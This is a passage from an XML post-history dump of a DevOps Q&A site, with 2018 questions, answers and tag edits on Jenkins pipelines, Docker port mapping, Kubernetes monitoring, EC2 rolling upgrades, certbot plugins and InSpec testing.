}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On the same server, but **using the jenkins GUI, this works flawlessly**, but on the jenkinsfile pipeline this produces:&#xD;&#xA;&#xD;&#xA;    FATAL: [ssh-agent] Could not find specified credentials&#xD;&#xA;&#xD;&#xA;and proceeds run and fail on the ssh command. The funny thing is, that this job uses the exact same key to succesfully pull from GIT, so it's not like it's not installed on the server. " ContentLicense="CC BY-SA 3.0" />
  <row Id="11705" PostHistoryTypeId="1" PostId="3742" RevisionGUID="bb1054ad-b672-418b-8194-f60d0b616aea" CreationDate="2018-03-27T09:33:16.153" UserId="7128" Text="sshagent and jenkinsfile" ContentLicense="CC BY-SA 3.0" />
  <row Id="11706" PostHistoryTypeId="3" PostId="3742" RevisionGUID="bb1054ad-b672-418b-8194-f60d0b616aea" CreationDate="2018-03-27T09:33:16.153" UserId="7128" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11707" PostHistoryTypeId="2" PostId="3743" RevisionGUID="41bd79c2-f60d-4684-ab61-d71cb2bc0a3a" CreationDate="2018-03-27T09:40:03.020" UserId="7128" Text="Found the problem:&#xD;&#xA;&#xD;&#xA;I was using the human readable key name from the GUI.&#xD;&#xA;Need to use the key's UUId ID instead (this is specified next to the name in credentials screen)&#xD;&#xA;&#xD;&#xA;    steps {&#xD;&#xA;                sshagent ( ['THIS-SHOULD-HAVE-BEEN-A-UNIQUE-ID-INSTEAD-OF-A-NAME']) {" ContentLicense="CC BY-SA 3.0" />
  <row Id="11711" PostHistoryTypeId="2" PostId="3745" RevisionGUID="aaca4304-b396-4452-a8d5-89fa28b63da2" CreationDate="2018-03-27T11:38:42.350" UserId="6045" Text="I'm deploying an instance with kubernetes on Azure public cloud, and I need a tool to monitore the microservices and pods inside this instance, the question is, what tool are you using to do that? I've been search in a couple of places but  without success.&#xD;&#xA;Thank you in advance!&#xD;&#xA;Eddie" ContentLicense="CC BY-SA 3.0" />
  <row Id="11712" PostHistoryTypeId="1" PostId="3745" RevisionGUID="aaca4304-b396-4452-a8d5-89fa28b63da2" CreationDate="2018-03-27T11:38:42.350" UserId="6045" Text="Monitoring tool to microservices on Kubernetes" ContentLicense="CC BY-SA 3.0" />
  <row Id="11713" PostHistoryTypeId="3" PostId="3745" RevisionGUID="aaca4304-b396-4452-a8d5-89fa28b63da2" CreationDate="2018-03-27T11:38:42.350" UserId="6045" Text="&lt;kubernetes&gt;&lt;monitoring&gt;&lt;microservices&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11715" PostHistoryTypeId="2" PostId="3746" RevisionGUID="a6ac0aae-4e84-4e03-89c3-cf13d63d4865" CreationDate="2018-03-27T12:31:53.617" UserId="549" Text="## TL;DR&#xD;&#xA;There are a number of use cases for port mapping, but for DevOps at scale the primary reason is generally to enable mapping well-known service ports to available ports on the host. This matters when you're running large numbers of containers that use the same port by default, and you don't want to manually assign or track alternative port numbers.&#xD;&#xA;&#xD;&#xA;## A *Very* Short Port Primer&#xD;&#xA;As a general rule, a port can only map to a single service or process on each host (multiplexing ports and multi-port services are something of an exception). Only 65,536 ports are available for services to bind, with the lowest 1,024 generally reserved for binding by the root user. Services also typically bind to well-known ports such as 22, 53, or 5432 to make the service easy to find. All of these issues matter, but it's often the last issue that typically concerns Docker hosts most.&#xD;&#xA;&#xD;&#xA;## Mapping Container Ports&#xD;&#xA;Imagine that you have multiple PostgreSQL containers on a single host. By default, each wants to bind to port 5432 as its default. While you could certainly modify each container or run-command to bind the container's service to a unique host port, this quickly becomes a hassle at scale.&#xD;&#xA;&#xD;&#xA;Instead, Docker and other container managers make it easy to *map* ports between the host OS and the container. For example:&#xD;&#xA;&#xD;&#xA;    # launch three PostgreSQL instances&#xD;&#xA;    for i in {1..3}; do&#xD;&#xA;        docker run --rm -d -P postgres:alpine&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;    # show port mappings for each container&#xD;&#xA;    docker container ls -q --filter=&quot;ancestor=postgres:alpine&quot; |&#xD;&#xA;        xargs -n1 docker port&#xD;&#xA;    5432/tcp -&gt; 0.0.0.0:32773&#xD;&#xA;    5432/tcp -&gt; 0.0.0.0:32772&#xD;&#xA;    5432/tcp -&gt; 0.0.0.0:32771&#xD;&#xA;&#xD;&#xA;This shows that you have three instances of PostgreSQL, all happily listening on the default port of 5432 *inside* their containers. However, each instance is listening on a different port (32771, 32772, and 32773) on the Docker host!&#xD;&#xA;&#xD;&#xA;At scale, you would typically use DNS, autodiscovery, linking, or container networking to help clients and applications find the right PostgreSQL instance to connect with. With just a few instances running, parsing `docker ps` may be sufficient for your needs. Your specific use case may vary.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11716" PostHistoryTypeId="5" PostId="3745" RevisionGUID="73e50839-9328-4ff1-bca2-83fde7581699" CreationDate="2018-03-27T12:54:25.647" UserId="800" Comment="Better formating" Text="I'm deploying an instance with kubernetes on Azure public cloud, and I need a tool to monitor the microservices and pods inside this instance, the question is, what tool are you using to do that?  &#xD;&#xA;I've been searching in a couple of places but without success.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11717" PostHistoryTypeId="24" PostId="3745" RevisionGUID="73e50839-9328-4ff1-bca2-83fde7581699" CreationDate="2018-03-27T12:54:25.647" Comment="Proposed by 800 approved by 40, 6045 edit id of 656" ContentLicense="CC BY-SA 3.0" />
  <row Id="11719" PostHistoryTypeId="2" PostId="3747" RevisionGUID="b5bfc8d3-1160-4c71-9269-760f3665a5da" CreationDate="2018-03-27T13:46:05.800" UserId="743" Text="Would like to ask for recommendations on ready automated solutions or templates for rolling ec2 instance upgrade on AWS, requiring a reboot with ELB/ALB.&#xD;&#xA;Specifically required to perform the maintenance upgrade for the kernel on hundreds of Linux machines.&#xD;&#xA;&#xD;&#xA;For each ELB/ALB steps are:&#xD;&#xA;&#xD;&#xA; 1. Disconnect ec2 instance from ELB/ALB wait for connection draining&#xD;&#xA; 2. Upgrade kernel and reboot machine&#xD;&#xA; 3. Wait for instance to be online, connect to ELB/ALB, wait for health check status &#xD;&#xA; 4. Continue to next instance in the load balancer&#xD;&#xA;&#xD;&#xA;Note: not looking for migration to the solution similar to Netflix Spinnaker or immutable deployment strategy implementation, but for general and simple on-demand maintenance tool." ContentLicense="CC BY-SA 3.0" />
  <row Id="11720" PostHistoryTypeId="1" PostId="3747" RevisionGUID="b5bfc8d3-1160-4c71-9269-760f3665a5da" CreationDate="2018-03-27T13:46:05.800" UserId="743" Text="How to automate rolling upgrades for ec2 running linux behind elastic and/or application load balancer?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11721" PostHistoryTypeId="3" PostId="3747" RevisionGUID="b5bfc8d3-1160-4c71-9269-760f3665a5da" CreationDate="2018-03-27T13:46:05.800" UserId="743" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;automation&gt;&lt;linux&gt;&lt;aws-elb&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11722" PostHistoryTypeId="2" PostId="3748" RevisionGUID="f29cfbe5-5399-46cc-b5f8-c6c600fe8ee1" CreationDate="2018-03-27T14:28:40.507" UserId="210" Text="AKS&#xD;&#xA;&#xD;&#xA;https://github.com/MicrosoftDocs/azure-docs/blob/master/articles/aks/tutorial-kubernetes-monitor.md&#xD;&#xA;&#xD;&#xA;Looks interesting. I have not tried it myself, but based on the more than 300 github stars this looks interesting to me. The readme contains screen shots how to configure it in Azure." ContentLicense="CC BY-SA 3.0" />
  <row Id="11723" PostHistoryTypeId="2" PostId="3749" RevisionGUID="34eee276-a951-430f-901d-0b8b0abb1b39" CreationDate="2018-03-27T14:38:02.007" UserId="736" Text="Looking for help troubleshooting an intermittent issue;&#xD;&#xA;&#xD;&#xA;We run an Ubuntu version of Jenkins on AWS infrastructure using on-demand spot ECS instances. I've noticed that while most agents spin down and correctly terminate their ECS counterparts, occasionally an agent will quit without killing its instance, leaving orphaned instances that it could take us weeks to notice. &#xD;&#xA;&#xD;&#xA;This problem has been happening on and off for a year, through many different versions of Jenkins. I can't find a common thread between the orphaned instances, and would appreciate any insight on what I can troubleshoot to find the cause. " ContentLicense="CC BY-SA 3.0" />
  <row Id="11724" PostHistoryTypeId="1" PostId="3749" RevisionGUID="34eee276-a951-430f-901d-0b8b0abb1b39" CreationDate="2018-03-27T14:38:02.007" UserId="736" Text="aws ecs jenkins on-demand agents not terminating after use" ContentLicense="CC BY-SA 3.0" />
  <row Id="11725" PostHistoryTypeId="3" PostId="3749" RevisionGUID="34eee276-a951-430f-901d-0b8b0abb1b39" CreationDate="2018-03-27T14:38:02.007" UserId="736" Text="&lt;jenkins&gt;&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11726" PostHistoryTypeId="50" PostId="3199" RevisionGUID="5f2d6fb6-b7df-4a56-8d86-e735b6dfe7a7" CreationDate="2018-03-27T14:39:23.803" UserId="-1" />
  <row Id="11731" PostHistoryTypeId="5" PostId="3749" RevisionGUID="ba4e5294-ab97-467f-9a39-077fa161ae18" CreationDate="2018-03-27T15:24:02.617" UserId="736" Comment="added clarification from comments" Text="Looking for help troubleshooting an intermittent issue;&#xD;&#xA;&#xD;&#xA;We run an Ubuntu version of Jenkins on AWS infrastructure using on-demand spot ECS instances. I've noticed that while most agents spin down and correctly terminate their ECS counterparts, occasionally an agent will quit without killing its instance, leaving orphaned instances that it could take us weeks to notice. &#xD;&#xA;&#xD;&#xA;This problem has been happening on and off for a year, through many different versions of Jenkins. I can't find a common thread between the orphaned instances, and would appreciate any insight on what I can troubleshoot to find the cause. &#xD;&#xA;&#xD;&#xA;**Can you clarify how you're terminating the instances?**&#xD;&#xA;&#xD;&#xA;Nodes are automatically terminated x minutes after the job they're running finishes, presumably taking the instance down with them. I'm not clear on the actual particulars; it's just a setting in Jenkins for &quot;Idle termination time&quot;. " ContentLicense="CC BY-SA 3.0" />
  <row Id="11732" PostHistoryTypeId="2" PostId="3751" RevisionGUID="7cd81db7-bc41-4711-99ec-411f4eb17d3d" CreationDate="2018-03-27T15:59:19.100" UserId="4115" Text="If the system recently rebooted and your proxy server is giving 502/503s, it's most likely that the backend service failed to start.&#xD;&#xA;&#xD;&#xA;Using whatever tools are most appropriate for your OS/distro (e.g. `systemctl`, `service`/`chkconfig`, `stop`/`start`/`restart`/etc.), do the following things:&#xD;&#xA;&#xD;&#xA; * Verify that the backend (in this case Jenkins) is configured to start on boot.  Enable it if not.&#xD;&#xA; * Start the backend.&#xD;&#xA; * If the backend fails to start, check the application logs to find the source of the error.  For Jenkins on Linux, this would be `/var/log/jenkins/jenkins.log`." ContentLicense="CC BY-SA 3.0" />
  <row Id="11733" PostHistoryTypeId="2" PostId="3752" RevisionGUID="4be138fe-7645-4df4-aafa-2b95e657182c" CreationDate="2018-03-27T16:53:25.537" UserId="7136" Text="Putting it behind a DNS name with a load balancer across multiple SDS servers is a good setup for reasonable availability. If SDS is down, Envoy will simple not get updated, so it's generally not the most critical failure -- new hosts and services simply won't get added to the cluster/endpoint model in Envoy.&#xD;&#xA;&#xD;&#xA;If you want higher availability, you set up multiple clusters. If you add multiple entries to your bootstrap config, Envoy will fail over between them. You can either specify multiple DNS names or multiple IPs." ContentLicense="CC BY-SA 3.0" />
  <row Id="11734" PostHistoryTypeId="2" PostId="3753" RevisionGUID="43b747d0-d61c-422c-b5ec-bb30f4d02bf5" CreationDate="2018-03-27T18:04:05.323" UserId="7040" Text="When you instantiate a new container it has its own networking, isolated from the host. So you can NOT access the container directly from its port.&#xD;&#xA;&#xD;&#xA;&gt; ports:&#xD;&#xA;  - 8080:80&#xD;&#xA;&#xD;&#xA;this command will specify that you are fowarding your host port to the container port.&#xD;&#xA;In your local host in the port 8080 will call the port 80 of your container.&#xD;&#xA;&#xD;&#xA;There are some ways to do it, for example using traefik to execute the reverse proxy inside the containers, you can address all containers to a network, exposing only the port of traefik, so you can access all containers executing the router rule that u have specified.&#xD;&#xA;&#xD;&#xA;The simple answer is:&#xD;&#xA;&#xD;&#xA;'Cause it's the easiest way to access a service from a container." ContentLicense="CC BY-SA 3.0" />
  <row Id="11735" PostHistoryTypeId="5" PostId="3738" RevisionGUID="75c96ef9-4634-4d8d-a94f-ae3fce55eebf" CreationDate="2018-03-27T18:55:29.903" UserId="47" Comment="added 128 characters in body" Text="For questions about InSpec, a Ruby-based open-source testing framework for testing and auditing applications and infrastructure." ContentLicense="CC BY-SA 3.0" />
  <row Id="11736" PostHistoryTypeId="24" PostId="3738" RevisionGUID="75c96ef9-4634-4d8d-a94f-ae3fce55eebf" CreationDate="2018-03-27T18:55:29.903" Comment="Proposed by 47 approved by 40, 707 edit id of 652" ContentLicense="CC BY-SA 3.0" />
  <row Id="11737" PostHistoryTypeId="5" PostId="3481" RevisionGUID="6e7e3a49-fc38-472f-8760-9e74c7e5c5f0" CreationDate="2018-03-27T18:55:33.260" UserId="47" Comment="deleted 3 characters in body" Text="For questions about Continuous Integration/Continuous Delivery/Continuous Deployment (CI/CD) tools and or processes" ContentLicense="CC BY-SA 3.0" />
  <row Id="11738" PostHistoryTypeId="24" PostId="3481" RevisionGUID="6e7e3a49-fc38-472f-8760-9e74c7e5c5f0" CreationDate="2018-03-27T18:55:33.260" Comment="Proposed by 47 approved by 40, 707 edit id of 658" ContentLicense="CC BY-SA 3.0" />
  <row Id="11739" PostHistoryTypeId="5" PostId="293" RevisionGUID="71af7d5b-373e-4f19-9673-4684fc8b4bdf" CreationDate="2018-03-27T18:55:42.243" UserId="47" Comment="added 54 characters in body" Text="Continuous Delivery (CD) is the process of delivering software updates to users frequently, with little delay after implementing and testing code changes. To be able to do this the software development process has to be streamlined and [tag:continuous-integration] is generally seen a prerequisite for continuous-delivery and positioned in front of it in [tag:cicd] pipelines.&#xD;&#xA;&#xD;&#xA;Continuous delivery is often seen as synonymous to [tag:continuous-deployment], but strictly speaking the terms are different. For continuous delivery the last step between acceptance testing and deployment is a manual one. For continuous deployment this step is automated, deployment is always done as part of the process." ContentLicense="CC BY-SA 3.0" />
  <row Id="11740" PostHistoryTypeId="24" PostId="293" RevisionGUID="71af7d5b-373e-4f19-9673-4684fc8b4bdf" CreationDate="2018-03-27T18:55:42.243" Comment="Proposed by 47 approved by 40, 707 edit id of 660" ContentLicense="CC BY-SA 3.0" />
  <row Id="11741" PostHistoryTypeId="5" PostId="3480" RevisionGUID="5de21089-e3c8-4358-b9c7-a2046170068d" CreationDate="2018-03-27T18:55:45.400" UserId="47" Comment="added 1056 characters in body" Text="From [Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; In [software engineering][2], CI/CD or CICD may refer to the combined&#xD;&#xA;&gt; practices of [continuous integration][3] and [continuous delivery][4].&#xD;&#xA;&#xD;&#xA;More recently the combination of [tag:continuous-integration] and [tag:continuous-delivery] was expanded to (optionally) cover [tag:continuous-deployment] as well, if/where applicable.&#xD;&#xA;&#xD;&#xA;In general such combinations are commonly referred to as CI/CD pipelines.&#xD;&#xA;&#xD;&#xA;## References&#xD;&#xA;&#xD;&#xA;- Atlassian's [Continuous integration vs. continuous delivery vs. continuous deployment][5]&#xD;&#xA;- Digital Ocean's [An Introduction to Continuous Integration, Delivery, and Deployment][6]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/CI/CD&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Software_engineering&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Continuous_integration&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Continuous_delivery&#xD;&#xA;  [5]: https://www.atlassian.com/continuous-delivery/ci-vs-ci-vs-cd&#xD;&#xA;  [6]: https://www.digitalocean.com/community/tutorials/an-introduction-to-continuous-integration-delivery-and-deployment" ContentLicense="CC BY-SA 3.0" />
  <row Id="11742" PostHistoryTypeId="24" PostId="3480" RevisionGUID="5de21089-e3c8-4358-b9c7-a2046170068d" CreationDate="2018-03-27T18:55:45.400" Comment="Proposed by 47 approved by 40, 707 edit id of 657" ContentLicense="CC BY-SA 3.0" />
  <row Id="11743" PostHistoryTypeId="5" PostId="290" RevisionGUID="37cef002-af08-4cd3-ba54-15649b0e1780" CreationDate="2018-03-27T18:55:51.500" UserId="47" Comment="added 49 characters in body" Text="Continuous-Integration (CI) is the process of merging developer's working code copies to a shared codebase frequently and test it to prevent or quickly identify and resolve integration problems. The idea is that developers write and commit small pieces of code and check several times a day if their code alterations break existing functionality.&#xD;&#xA;&#xD;&#xA;There are many (server) systems that facilitate continuous integration and the work they do is often also called continuous integration. This usually includes (but is not limited to) code compilation and executing unit and integration tests. Some often-used CI software includes:&#xD;&#xA;&#xD;&#xA; - [tag:Jenkins]&#xD;&#xA; - [tag:Travis-CI]&#xD;&#xA; - [tag:CircleCI]&#xD;&#xA; - [tag:TeamCity]&#xD;&#xA; - Microsoft Team Foundation&#xD;&#xA; - [tag:Bamboo]&#xD;&#xA;&#xD;&#xA;A comparison of CI software can be found on [Wikipedia](https://en.wikipedia.org/wiki/Comparison_of_continuous_integration_software).&#xD;&#xA;&#xD;&#xA;Continuous-integration is generally seen as a first step to achieve [tag:continuous-delivery] and [tag:continuous-deployment], in what's commonly known as [tag:cicd] pipelines.&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Usage&lt;/h2&gt;&#xD;&#xA;Use this tag for questions about continuous integration in general. For questions about specific CI software, it's best to use the tag for that system (if one exists).&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11744" PostHistoryTypeId="24" PostId="290" RevisionGUID="37cef002-af08-4cd3-ba54-15649b0e1780" CreationDate="2018-03-27T18:55:51.500" Comment="Proposed by 47 approved by 40, 707 edit id of 659" ContentLicense="CC BY-SA 3.0" />
  <row Id="11745" PostHistoryTypeId="5" PostId="3740" RevisionGUID="22a4e592-7303-49e2-863b-2402fcb12b28" CreationDate="2018-03-27T18:56:00.863" UserId="47" Comment="added 89 characters in body" Text="For questions about PostgreSQL, an open-source object-relational database system (RDBMS)." ContentLicense="CC BY-SA 3.0" />
  <row Id="11746" PostHistoryTypeId="24" PostId="3740" RevisionGUID="22a4e592-7303-49e2-863b-2402fcb12b28" CreationDate="2018-03-27T18:56:00.863" Comment="Proposed by 47 approved by 40, 707 edit id of 654" ContentLicense="CC BY-SA 3.0" />
  <row Id="11747" PostHistoryTypeId="5" PostId="872" RevisionGUID="77e8ce22-033e-4617-a4eb-f498910fda39" CreationDate="2018-03-27T18:56:44.597" UserId="47" Comment="added related tags" Text="A database is an organised collection of data.  It is the collection of schemas, tables, queries, reports, views, and other objects. Designers typically arrange data to model aspects of reality in a way that supports processes requiring information.&#xD;&#xA;&#xD;&#xA;## Types of Databases&#xD;&#xA;&#xD;&#xA;Databases can be broken down into several different types of databases:&#xD;&#xA;&#xD;&#xA; - **Relational Databases or RDBMSs** - store data regarding its relation to other pieces of data, held in a strictly enforced schema.&#xD;&#xA; - **Document Databases** - store data regarding single, generally hierarchical, documents.  Schemas are available but may not be enforced or may support versions.&#xD;&#xA; - **Key-Value Stores** - stores keys and their values in a highly efficient hash table like structure.&#xD;&#xA;&#xD;&#xA;## Further Reading&#xD;&#xA;&#xD;&#xA; - [Refactoring Databases: Evolutionary Database Design][2] by Scott J Ambler and Pramod J. Sadalage&#xD;&#xA; - [Q: What practices or tools enable Continuous Deployment of Databases?][1]&#xD;&#xA;&#xD;&#xA;## Related tags:&#xD;&#xA;&#xD;&#xA;- [tag:sql] [tag:mysql] [tag:postgresql]&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/q/742/397&#xD;&#xA;  [2]: https://www.amazon.com/dp/0321774515/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11748" PostHistoryTypeId="24" PostId="872" RevisionGUID="77e8ce22-033e-4617-a4eb-f498910fda39" CreationDate="2018-03-27T18:56:44.597" Comment="Proposed by 47 approved by 40, 707 edit id of 655" ContentLicense="CC BY-SA 3.0" />
  <row Id="11749" PostHistoryTypeId="2" PostId="3754" RevisionGUID="a739677b-bd21-4af3-8e7f-2b1b218eed49" CreationDate="2018-03-27T19:15:05.930" UserId="7137" Text="I am trying to install Jenkins to achieve a Github -&gt; EC2 instance folder pipeline. So far everything works well when I target an empty folder... however,  when I target my production folder owned by &quot;www-data&quot; the SSH copy of the files fail for permission, as Jenkins uses the &quot;ubuntu&quot; user, the only one I have an SSH login for. &#xD;&#xA;&#xD;&#xA;How do I solve this issue? " ContentLicense="CC BY-SA 3.0" />
  <row Id="11750" PostHistoryTypeId="1" PostId="3754" RevisionGUID="a739677b-bd21-4af3-8e7f-2b1b218eed49" CreationDate="2018-03-27T19:15:05.930" UserId="7137" Text="Jenkins, EC2, &quot;Ubnutu&quot; user and &quot;www-data&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11751" PostHistoryTypeId="3" PostId="3754" RevisionGUID="a739677b-bd21-4af3-8e7f-2b1b218eed49" CreationDate="2018-03-27T19:15:05.930" UserId="7137" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11752" PostHistoryTypeId="50" PostId="3200" RevisionGUID="93939789-0db5-4e46-9a46-17fe69b51fd6" CreationDate="2018-03-27T19:39:18.273" UserId="-1" />
  <row Id="11753" PostHistoryTypeId="4" PostId="3754" RevisionGUID="bc2fb5c8-63bb-44aa-a21a-0c59044aa3e8" CreationDate="2018-03-27T21:01:38.223" UserId="7137" Comment="edited title" Text="Jenkins, Jenkins SSH Plug-In, EC2, &quot;Ubnutu&quot; user and &quot;www-data&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11754" PostHistoryTypeId="50" PostId="3127" RevisionGUID="e6c3be12-7eaa-4438-894d-c567b04da5db" CreationDate="2018-03-28T00:41:01.683" UserId="-1" />
  <row Id="11755" PostHistoryTypeId="2" PostId="3755" RevisionGUID="ca35b795-69bd-4d11-a493-3831ce3502b9" CreationDate="2018-03-28T01:17:00.547" UserId="7140" Text="I am building a HTTP API as an Azure Function App in C# and I would like to run automated integration tests (calls to the API) as part of the CI/CD.&#xD;&#xA;&#xD;&#xA;Is this possible to do using VSTS?&#xD;&#xA;&#xD;&#xA;I have searched but only found how to do unit testing (not integration testing) as part of the deployment." ContentLicense="CC BY-SA 3.0" />
  <row Id="11756" PostHistoryTypeId="1" PostId="3755" RevisionGUID="ca35b795-69bd-4d11-a493-3831ce3502b9" CreationDate="2018-03-28T01:17:00.547" UserId="7140" Text="Automated Integration Testing of an API in Azure Functions using VSTS" ContentLicense="CC BY-SA 3.0" />
  <row Id="11757" PostHistoryTypeId="3" PostId="3755" RevisionGUID="ca35b795-69bd-4d11-a493-3831ce3502b9" CreationDate="2018-03-28T01:17:00.547" UserId="7140" Text="&lt;testing&gt;&lt;azure&gt;&lt;azure-devops&gt;&lt;api&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11758" PostHistoryTypeId="2" PostId="3756" RevisionGUID="4f5483e0-fdf0-4022-b852-381364e77651" CreationDate="2018-03-28T02:12:44.717" UserId="6861" Text="The ssh plugin gives you both options, &#xA;Either send build artifacts to remote server or run a command on the remote server. &#xA;The name of the plugin is &quot;send build artifacts over ssh&quot;.. use that" ContentLicense="CC BY-SA 3.0" />
  <row Id="11759" PostHistoryTypeId="2" PostId="3757" RevisionGUID="e13c5cd1-2ff2-4682-9425-110c7c252826" CreationDate="2018-03-28T05:11:50.513" UserId="7142" Text="I installed certbot by following [this tutorial](https://www.digitalocean.com/community/tutorials/how-to-secure-nginx-with-let-s-encrypt-on-ubuntu-16-04):&#xD;&#xA;&#xD;&#xA;    sudo add-apt-repository ppa:certbot/certbot&#xD;&#xA;    sudo apt-get update&#xD;&#xA;    sudo apt-get install python-certbot-nginx&#xD;&#xA;&#xD;&#xA;And now I want to set up my cert, but I need the `dns-digitalocean` plugin:&#xD;&#xA;&#xD;&#xA;    # certbot certonly --dns-digitalocean&#xD;&#xA;    Saving debug log to /var/log/letsencrypt/letsencrypt.log&#xD;&#xA;    Could not choose appropriate plugin: The requested dns-digitalocean plugin does not appear to be installed&#xD;&#xA;    The requested dns-digitalocean plugin does not appear to be installed&#xD;&#xA;&#xD;&#xA;I tried installing it with `pip`:&#xD;&#xA;&#xD;&#xA;    pip install certbot-dns-digitalocean&#xD;&#xA;&#xD;&#xA;But apparently the apt-get version isn't &quot;seeing&quot; it.&#xD;&#xA;&#xD;&#xA;How do I install it properly?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11760" PostHistoryTypeId="1" PostId="3757" RevisionGUID="e13c5cd1-2ff2-4682-9425-110c7c252826" CreationDate="2018-03-28T05:11:50.513" UserId="7142" Text="How to install certbot plugins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11761" PostHistoryTypeId="3" PostId="3757" RevisionGUID="e13c5cd1-2ff2-4682-9425-110c7c252826" CreationDate="2018-03-28T05:11:50.513" UserId="7142" Text="&lt;ssl&gt;&lt;certbot&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11762" PostHistoryTypeId="5" PostId="3754" RevisionGUID="56c3b3b8-26df-4526-8a25-3b3641f1717a" CreationDate="2018-03-28T05:45:09.827" UserId="47" Comment="improved readability" Text="I am trying to install Jenkins to achieve a Github -&gt; EC2 instance folder pipeline. So far everything works well when I target an empty folder... however,  when I target my production folder owned by `www-data` the SSH copy of the files fail for permission, as Jenkins uses the `ubuntu` user, the only one I have an SSH login for. &#xD;&#xA;&#xD;&#xA;How do I solve this issue? " ContentLicense="CC BY-SA 3.0" />
  <row Id="11763" PostHistoryTypeId="4" PostId="3754" RevisionGUID="56c3b3b8-26df-4526-8a25-3b3641f1717a" CreationDate="2018-03-28T05:45:09.827" UserId="47" Comment="improved readability" Text="Jenkins, Jenkins SSH Plug-In, EC2, &quot;ubuntu&quot; user and &quot;www-data&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11764" PostHistoryTypeId="2" PostId="3758" RevisionGUID="64eeb251-6eb6-457a-8c48-9bfaa67fccaf" CreationDate="2018-03-28T07:44:30.953" UserId="800" Text="[The Twelve Factors](https://12factor.net) is a sort of manifesto seen as a road-map for developers to follow when building modern web-based.  &#xD;&#xA;&#xD;&#xA;How would you explain each of the 12 factors in less than three sentences to your 5-year-old son?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11765" PostHistoryTypeId="1" PostId="3758" RevisionGUID="64eeb251-6eb6-457a-8c48-9bfaa67fccaf" CreationDate="2018-03-28T07:44:30.953" UserId="800" Text="Explain The Twelve Factors to a 5 year old" ContentLicense="CC BY-SA 3.0" />
  <row Id="11766" PostHistoryTypeId="3" PostId="3758" RevisionGUID="64eeb251-6eb6-457a-8c48-9bfaa67fccaf" CreationDate="2018-03-28T07:44:30.953" UserId="800" Text="&lt;culture&gt;&lt;methodology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11767" PostHistoryTypeId="4" PostId="3758" RevisionGUID="8955042b-4c45-48cb-8be5-220f47b63cd1" CreationDate="2018-03-28T07:51:51.803" UserId="800" Comment="edited title" Text="Explain the Twelve Factors to a 5 year old" ContentLicense="CC BY-SA 3.0" />
  <row Id="11772" PostHistoryTypeId="5" PostId="3747" RevisionGUID="e13a4bcf-c7d6-4778-b63d-a8b0aee835e8" CreationDate="2018-03-28T11:08:19.967" UserId="743" Comment="added 48 characters in body" Text="Would like to ask for recommendations on ready automated solutions or templates for rolling ec2 instance upgrade on AWS, requiring a reboot with ELB/ALB.&#xD;&#xA;Specifically required to perform the maintenance upgrade for the kernel on hundreds of Linux machines.&#xD;&#xA;&#xD;&#xA;For each ELB/ALB steps are:&#xD;&#xA;&#xD;&#xA; 1. Disconnect ec2 instance from ELB/ALB wait for connection draining&#xD;&#xA; 2. Upgrade kernel and reboot machine (not part of script, e.g. running ./upgrade.sh)&#xD;&#xA; 3. Wait for instance to be online, connect to ELB/ALB, wait for health check status &#xD;&#xA; 4. Continue to next instance in the load balancer&#xD;&#xA;&#xD;&#xA;Note: not looking for migration to the solution similar to Netflix Spinnaker or immutable deployment strategy implementation, but for general and simple on-demand maintenance tool." ContentLicense="CC BY-SA 3.0" />
  <row Id="11773" PostHistoryTypeId="2" PostId="3760" RevisionGUID="ac301fbb-8cbc-4d3a-b553-0958b58d5c4f" CreationDate="2018-03-28T11:34:53.980" UserId="7149" Text="You did everything right, it is the correct InSpec test and use with Docker!&#xD;&#xA;&#xD;&#xA;You encountered a bug in InSpec that is related to InSpec's netstat output parsing combination with Alpine's netstat output. &#xD;&#xA;&#xD;&#xA;See InSpec's output for `postgres` container instead of `postgres:alpine`:&#xD;&#xA;&#xD;&#xA;    $ inspec exec docker_test.rb -t docker://1c8162517c22                                                               1d15h master[a5ff79d3]&#xD;&#xA;    &#xD;&#xA;    Profile: tests from docker_test.rb (tests from docker_test.rb)&#xD;&#xA;    Version: (not specified)&#xD;&#xA;    Target:  docker://1c8162517c229ff8c87ab3e8c909f46b4370d7c63a65c0f973a5c10fdebda800&#xD;&#xA;    &#xD;&#xA;      Port 5432&#xD;&#xA;         ✔  should be listening&#xD;&#xA;    &#xD;&#xA;    Test Summary: 1 successful, 0 failures, 0 skipped&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In your case, the problem is that Apline's netstat reports a different output then other Linux eg. Ubuntu, CentOS:&#xD;&#xA;&#xD;&#xA;    # netstat -tulpen&#xD;&#xA;    Active Internet connections (only servers)&#xD;&#xA;    Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode      PID/Program name    &#xD;&#xA;    tcp        0      0 